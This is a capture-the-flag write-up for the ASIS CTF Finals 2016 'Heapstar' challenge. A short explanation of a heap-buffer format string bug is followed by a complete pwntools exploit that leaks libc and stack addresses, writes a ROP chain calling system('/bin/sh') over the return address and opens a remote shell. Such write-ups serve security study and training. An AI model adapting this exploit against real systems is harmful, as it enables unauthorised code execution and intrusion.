ASIS CTF Finals 2016: Heapstar
Not difficult. It seems that I solved with non-expected solution (because I didn’t use the hp*
and list*
function), but I like this.
solution
There is a format string bug, but the writable buffer is on the heap.
We can rewrite only the places whose address is on the stack.
There are the argv
and argv[0]
.
I used argv
to modify the least byte of argv[0]
, argv[0]
to construct a payload on somewhere of stack, and the payload to rewrite the return address.
implementation
#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='heapstar.asis-ctf.ir')
parser.add_argument('port', nargs='?', default=1337, type=int)
parser.add_argument('--no-echo', action='store_true')
args = parser.parse_args()
context.arch = 'x86_64'
# context.log_level = 'debug'
elf = ELF('./heapstar')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # ubuntu 16.04
p = remote(args.host, args.port)
# p = process('./heapstar')
# args.no_echo = True
def cmd(c, s=None):
p.recvuntil('>> ')
p.sendline(c)
if not args.no_echo:
assert p.recv(len(c) + 2) == c + '\r\n'
assert (c == 'i') == (s is not None)
if c == 'i':
if not args.no_echo:
assert p.recv(6) == 'Data: '
p.sendline(s)
if not args.no_echo:
assert p.recv(len(s + '\r\n')) == s + '\r\n'
if c == 'p':
s = p.recvuntil('>> ', timeout=1)
if s:
p.unrecv('>> ')
return s[: -3 ]
else:
return ''
def fsa(s):
log.info('format string attack: %s', repr(s))
cmd('c')
cmd('i', s)
s = cmd('p')
log.info(' => %s', repr(s))
return s
# leak addresses
heap_base = int(fsa('%19$p'), 16) - 0x10
log.info('heap_base: %#x', heap_base)
libc_start_main = int(fsa('%21$p'), 16) - 240 # %21$s: <__libc_start_main+240>
libc_base = libc_start_main - libc.symbols['__libc_start_main']
log.info('libc base: %#x', libc_base)
argv = int(fsa('%23$p'), 16) # %23$s: argv (char **)
log.info('argv: %#x', argv)
argv_0 = int(fsa('%49$p'), 16) # %49$s: argv[0] (char *)
log.info('argv[0]: %#x', argv_0)
# prepare buffer
fsa('%23$hhn')
k = (argv_0 - argv_0 % 0x100 - argv) // 8 + 49
log.info('k: %d', k) # %k$p: argv[0][0] (char[8])
def seek(i):
if i == 0:
i = 256
fsa('%{}c%23$hhn'.format(i))
def putc(c):
c = ord(c)
if c == 0:
c = 256
fsa('%{}c%49$hhn'.format(c))
def puts(s):
for i, c in enumerate(s):
seek(i)
putc(c) # write char by char
# writing test
puts('AAAABBBB\0')
seek(0)
assert fsa('%49$s') == 'AAAABBBB'
assert int(fsa('%{}$p'.format(k)), 16) == u64('AAAABBBB')
# do rop
def puts2(addr, s):
payload = ''
for i in range(len(s)):
payload += p64(addr + i)
puts(payload) # write addresses to write on
l = 0
payload = ''
for i, c in enumerate(s):
if ord(c) != l:
payload += '%{}c'.format((ord(c) - l) % 256)
payload += '%{}$hhn'.format(k + i)
l = ord(c)
fsa(payload)
pop_rdi_ret = ROP(elf).find_gadget(['pop rdi']).address
bin_sh = libc_base + next(libc.search('/bin/sh\0'))
system = libc_base + libc.symbols['system']
stack = argv - 0x160 # top at printf
chain = ''.join([ p64(x) for x in [ pop_rdi_ret, bin_sh, system ] ])
puts2(stack, chain)
time.sleep(1)
p.sendline('id')
p.interactive()